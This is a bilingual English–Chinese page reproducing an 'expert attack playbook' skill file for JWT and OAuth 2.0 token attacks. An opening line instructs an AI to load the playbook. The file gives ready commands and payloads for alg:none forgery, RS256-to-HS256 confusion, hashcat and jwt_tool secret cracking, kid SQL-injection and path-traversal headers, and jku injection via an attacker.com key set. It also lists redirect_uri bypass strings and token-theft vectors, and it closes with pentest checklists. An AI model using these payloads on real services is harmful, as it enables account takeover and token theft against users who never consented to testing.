jwt-oauth-token-attacks

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook

技能:JWT与OAuth 2.0令牌攻击——专家级攻击手册

AI LOAD INSTRUCTION: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications.
AI加载说明:专家级身份认证令牌攻击内容,涵盖JWT密码学攻击(alg:none、RS256→HS256、密钥破解、kid/jku注入)、OAuth流程攻击(CSRF、开放重定向、令牌窃取、隐式流滥用)、PKCE绕过,以及通过Referer/日志造成的令牌泄露问题,这对现代Web应用安全至关重要。

0. RELATED ROUTING

0. 相关关联内容

Use this file for token-centric attacks and flow abuse. Also load:
  • oauth oidc misconfiguration for redirect URI, state, nonce, PKCE, and account-binding validation
  • cors cross origin misconfiguration when browser-readable APIs or token leakage may exist cross-origin
  • saml sso assertion attacks when the target uses enterprise SSO outside OAuth/OIDC

针对令牌相关攻击和流程滥用场景使用本文件,同时还需加载:
  • oauth oidc 配置错误 用于重定向URI、state、nonce、PKCE和账户绑定验证场景
  • cors跨域配置错误 用于可能存在浏览器可读API或跨域令牌泄露的场景
  • saml sso断言攻击 用于目标使用OAuth/OIDC之外的企业级SSO的场景

1. JWT ANATOMY

1. JWT结构解析

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
         HEADER                     PAYLOAD                           SIGNATURE
Decode in terminal:
bash
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
         HEADER                     PAYLOAD                           SIGNATURE
在终端中解码:
bash
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d

→ {"alg":"HS256","typ":"JWT"}

→ {"alg":"HS256","typ":"JWT"}

echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d

→ {"userId":1234,"role":"user"}

→ {"userId":1234,"role":"user"}


**Common claim targets** (modify to escalate):
```json
{
  "role": "admin",
  "isAdmin": true,
  "userId": OTHER_USER_ID,
  "email": "victim@target.com",
  "sub": "admin",
  "permissions": ["admin", "write", "delete"],
  "tier": "premium"
}


**常见的声明攻击目标**(修改以提升权限):
```json
{
  "role": "admin",
  "isAdmin": true,
  "userId": OTHER_USER_ID,
  "email": "victim@target.com",
  "sub": "admin",
  "permissions": ["admin", "write", "delete"],
  "tier": "premium"
}

2. ATTACK 1 — ALGORITHM NONE (alg:none)

2. 攻击1 — 无签名算法(alg:none)

Server doesn't validate signature when algorithm is "none"/"None"/"NONE":
bash
undefined
当算法设置为"none"/"None"/"NONE"时,服务端不会验证签名:
bash
undefined

Burp JWT Editor / python-jwt attack:

Burp JWT Editor / python-jwt 攻击步骤:

Step 1: Decode header

步骤1: 解码头部

echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header

Step 2: Create new header

步骤2: 创建新头部

echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'

Step 3: Modify payload (e.g., role → admin):

步骤3: 修改 payload(例如将role改为admin):

echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'

Step 4: Construct token with empty signature:

步骤4: 构造带空签名的令牌:

HEADER.PAYLOAD.
HEADER.PAYLOAD.

OR:

或者:

HEADER.PAYLOAD

**Tool (jwt_tool)**:
```bash
python3 jwt_tool.py JWT_TOKEN -X a
HEADER.PAYLOAD

**工具(jwt_tool)**:
```bash
python3 jwt_tool.py JWT_TOKEN -X a

→ automatically generates alg:none variants

→ 自动生成alg:none变体


---

---

3. ATTACK 2 — RS256 TO HS256 KEY CONFUSION

3. 攻击2 — RS256转HS256密钥混淆

When server uses RS256 (asymmetric — RSA private key signs, public key verifies):
  • Server's public key is often discoverable (JWKS endpoint,
    /certs
    , source code)
  • Attack: tell server "this is HS256" → server verifies HS256 HMAC using the public key as secret
bash
undefined
当服务端使用RS256时(非对称加密:RSA私钥签名,公钥验证):
  • 服务端公钥通常可被获取(JWKS端点、
    /certs
    、源代码)
  • 攻击方式:告知服务端"这是HS256算法的令牌" → 服务端会将公钥作为密钥来验证HS256 HMAC签名
bash
undefined

Step 1: Obtain public key (PEM format)

步骤1: 获取公钥(PEM格式)

From: /api/.well-known/jwks.json → convert to PEM

来源: /api/.well-known/jwks.json → 转换为PEM格式

From: /certs endpoint

来源: /certs 端点

From: OpenSSL extraction from HTTPS cert

来源: 从HTTPS证书中通过OpenSSL提取

Step 2: Use jwt_tool to sign with HS256 using public key as secret:

步骤2: 使用jwt_tool,以公钥为密钥通过HS256签名:

python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem

Step 3: Manually:

步骤3: 手动操作:

Modify header: {"alg":"HS256","typ":"JWT"}

修改头部: {"alg":"HS256","typ":"JWT"}

Sign entire header.payload with HMAC-SHA256 using PEM public key bytes

使用PEM公钥字节作为密钥,对整个header.payload做HMAC-SHA256签名


---

---

4. ATTACK 3 — JWT SECRET BRUTE FORCE

4. 攻击3 — JWT密钥暴力破解

HMAC-based JWTs (HS256/HS384/HS512) with weak secret:
bash
undefined
采用弱密钥的基于HMAC的JWT(HS256/HS384/HS512):
bash
undefined

hashcat (fast):

hashcat(速度快):

hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt

john:

john:

echo "JWT_TOKEN_HERE" > jwt.txt john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
echo "JWT_TOKEN_HERE" > jwt.txt john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt

jwt_tool:

jwt_tool:

python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt

**Common weak secrets to test manually**:
secret, password, 123456, qwerty, changeme, your-256-bit-secret, APP_NAME, app_name, production, jwt_secret, SECRET_KEY

---
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt

**可手动测试的常见弱密钥**:
secret, password, 123456, qwerty, changeme, your-256-bit-secret, APP_NAME, app_name, production, jwt_secret, SECRET_KEY

---

5. ATTACK 4 — kid (Key ID) INJECTION

5. 攻击4 — kid(密钥ID)注入

The
kid
header parameter specifies which key to use for verification. No sanitization = injection:
kid
头部参数指定了用于验证的密钥,无 sanitization 则存在注入风险:

kid SQL Injection

kid SQL注入

json
{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}
If backend queries SQL:
SELECT key FROM keys WHERE kid = 'INPUT'

Result: HMAC key =
'attacker_controlled_key'
→ forge any payload signed with this value.
json
{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}
如果后端SQL查询为:
SELECT key FROM keys WHERE kid = 'INPUT'

结果:HMAC密钥 =
'attacker_controlled_key'
→ 可伪造任意使用该值签名的payload。

kid Path Traversal (file read)

kid路径遍历(文件读取)

json
{"alg":"HS256","kid":"../../../../dev/null"}
Server reads
/dev/null
as key → empty string → sign token with empty HMAC.
json
{"alg":"HS256","kid":"../../../../etc/hostname"}
Server reads hostname as key → forge tokens signed with hostname string.

json
{"alg":"HS256","kid":"../../../../dev/null"}
服务端读取
/dev/null
作为密钥 → 空字符串 → 使用空HMAC签名令牌。
json
{"alg":"HS256","kid":"../../../../etc/hostname"}
服务端读取hostname作为密钥 → 可伪造使用hostname字符串签名的令牌。

6. ATTACK 5 — jku / x5u Header Injection

6. 攻击5 — jku / x5u 头部注入

jku
points to JSON Web Key Set URL. If not whitelisted:
json
{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}
Setup:
bash
undefined
jku
指向JSON Web密钥集URL,如果未做白名单校验:
json
{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}
部署步骤:
bash
undefined

Generate RSA key pair:

生成RSA密钥对:

openssl genrsa -out private.pem 2048 openssl rsa -in private.pem -pubout -out public.pem
openssl genrsa -out private.pem 2048 openssl rsa -in private.pem -pubout -out public.pem

Create JWKS:

创建JWKS:

python3 -c " import json, base64, struct
python3 -c " import json, base64, struct

... (use python-jwcrypto or jwt_tool to export JWKS)

... (使用python-jwcrypto或jwt_tool导出JWKS)

"
"

Host malicious JWKS at attacker.com/malicious-jwks.json

在attacker.com/malicious-jwks.json部署恶意JWKS

Sign JWT with attacker's private key

用攻击者的私钥签名JWT

Server fetches attacker's JWKS → verifies with attacker's public key → accepts

服务端获取攻击者的JWKS → 使用攻击者的公钥验证 → 接受令牌


**jwt_tool automation**:
```bash
python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json


**jwt_tool自动化实现**:
```bash
python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json

7. OAUTH 2.0 — STATE PARAMETER MISSING (CSRF)

7. OAuth 2.0 — 缺失state参数(CSRF)

State parameter prevents CSRF in OAuth. If missing:
Attack:
1. Click "Login with Google" → OAuth starts → intercept the redirect URL:
   https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...

2. Get the authorization code (stop before exchanging it)
3. Craft URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. Victim clicks that URL → their session binds to ATTACKER's OAuth identity
→ ACCOUNT TAKEOVER

State参数用于防御OAuth中的CSRF攻击,如果缺失:
攻击流程:
1. 点击"使用Google登录" → OAuth流程启动 → 拦截重定向URL:
   https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...

2. 获取授权码(在交换授权码前终止流程)
3. 构造URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. 受害者点击该URL → 其会话会绑定到攻击者的OAuth身份
→ 账户接管

8. OAUTH — REDIRECT_URI BYPASS

8. OAuth — redirect_uri绕过

Authorization codes are sent to
redirect_uri
. If validation is weak:
授权码会发送到
redirect_uri
,如果校验逻辑脆弱:

Open Redirect in redirect_uri

redirect_uri中的开放重定向

Original: redirect_uri=https://target.com/callback
Attack:   redirect_uri=https://target.com/callback/../../../attacker.com
          redirect_uri=https://attacker.com.target.com/callback
          redirect_uri=https://target.com@attacker.com/callback
原始值: redirect_uri=https://target.com/callback
攻击:   redirect_uri=https://target.com/callback/../../../attacker.com
          redirect_uri=https://attacker.com.target.com/callback
          redirect_uri=https://target.com@attacker.com/callback

Partial Path Match

部分路径匹配绕过

Whitelist: https://target.com/callback
Attack: https://target.com/callback%2f../admin (URL path confusion)
        https://target.com/callbackXSS (prefix match only)
白名单规则: https://target.com/callback
攻击: https://target.com/callback%2f../admin(URL路径混淆)
        https://target.com/callbackXSS(仅前缀匹配)

Localhost / Development Redirect

本地/开发环境重定向绕过

redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob  (mobile apps)

redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob (移动应用场景)

9. OAUTH — IMPLICIT FLOW TOKEN THEFT

9. OAuth — 隐式流令牌窃取

Implicit flow: token sent in URL fragment
#access_token=...
Fragment leakage scenarios:
  • Redirect to attacker page: fragment accessible via
    document.referrer
    or via
    <script>window.location.href</script>
    in target page
  • Open redirect:
    redirect_uri=https://target.com/open-redirect?url=https://attacker.com
    → token in fragment lands at attacker's page

隐式流:令牌在URL片段
#access_token=...
中发送
片段泄露场景:
  • 重定向到攻击者页面:可通过
    document.referrer
    或目标页面中的
    <script>window.location.href</script>
    获取片段
  • 开放重定向:
    redirect_uri=https://target.com/open-redirect?url=https://attacker.com
    → 片段中的令牌会落到攻击者页面

10. OAUTH — SCOPE ESCALATION

10. OAuth — 权限范围升级

Request broader scope than authorized in authorization code:
Authorized scope: read:profile
Attack: During token exchange, add scope=admin or scope=read:admin
→ Does server grant requested scope or issued scope?

在授权码中请求比授权范围更大的权限:
授权范围: read:profile
攻击: 在令牌交换阶段,添加scope=admin或scope=read:admin
→ 验证服务端是授予请求的范围还是原授权的范围?

11. TOKEN LEAKAGE VECTORS

11. 令牌泄露途径

Referer Header

Referer头部

Token in URL → page loads external resource → Referer leaks token:
https://target.com/dashboard#access_token=TOKEN
→ HTML loads: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com sees token in Referer logs
URL中的令牌 → 页面加载外部资源 → Referer头部泄露令牌:
https://target.com/dashboard#access_token=TOKEN
→ HTML加载: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com可在Referer日志中看到令牌

Server Logs

服务端日志

Access tokens sent in query parameters are stored in:
/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB logs (AWS)
CloudFront logs
CDN logs

通过查询参数传递的访问令牌会存储在:
/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB logs (AWS)
CloudFront logs
CDN logs

12. JWT TESTING CHECKLIST

12. JWT测试检查清单

□ Decode header + payload (base64 decode each part)
□ Identify algorithm: HS256/RS256/ES256/none
□ Modify payload fields (role, userId, isAdmin) → change signature too
□ Test alg:none → remove signature entirely
□ If RS256: find public key → attempt RS256→HS256 confusion
□ If HS256: brute force with hashcat/rockyou
□ Check kid parameter → try SQL injection + path traversal
□ Check jku/x5u header → redirect to attacker JWKS
□ Test token reuse after logout
□ Test expired token acceptance (exp claim)
□ Check for token in GET params (log leakage) vs header

□ 解码头部+payload(分别对每部分做base64解码)
□ 识别算法: HS256/RS256/ES256/none
□ 修改payload字段(role、userId、isAdmin)→ 同时修改签名
□ 测试alg:none场景 → 完全移除签名
□ 如果是RS256: 查找公钥 → 尝试RS256→HS256混淆攻击
□ 如果是HS256: 使用hashcat/rockyou字典暴力破解
□ 检查kid参数 → 尝试SQL注入+路径遍历
□ 检查jku/x5u头部 → 重定向到攻击者JWKS
□ 测试登出后的令牌复用情况
□ 测试服务端是否接受过期令牌(exp声明)
□ 检查令牌是否在GET参数中传递(日志泄露风险)而非头部

13. OAUTH TESTING CHECKLIST

13. OAuth测试检查清单

□ Check for state parameter in authorization request
□ Test redirect_uri manipulation (open redirect, prefix match, path confusion)
□ Can tokens be exchanged more than once?
□ Test scope escalation during token exchange
□ Implicit flow: check for token in Referer/history
□ PKCE: can code_challenge be bypassed or code_verifier be empty?
□ Check for authorization code reuse (code must be single-use)
□ Test account linking abuse: link OAuth to existing account with same email
□ Check OAuth provider confusion: use Apple ID to link where Google expected
□ 检查授权请求中是否存在state参数
□ 测试redirect_uri操纵(开放重定向、前缀匹配、路径混淆)
□ 令牌是否可以被多次交换?
□ 测试令牌交换阶段的权限范围升级
□ 隐式流: 检查Referer/浏览历史中是否存在令牌
□ PKCE: code_challenge是否可绕过,code_verifier是否可为空?
□ 检查授权码复用问题(授权码必须为单次有效)
□ 测试账户关联滥用:将OAuth绑定到同邮箱的现有账户
□ 检查OAuth提供商混淆:在预期使用Google登录的场景下使用Apple ID绑定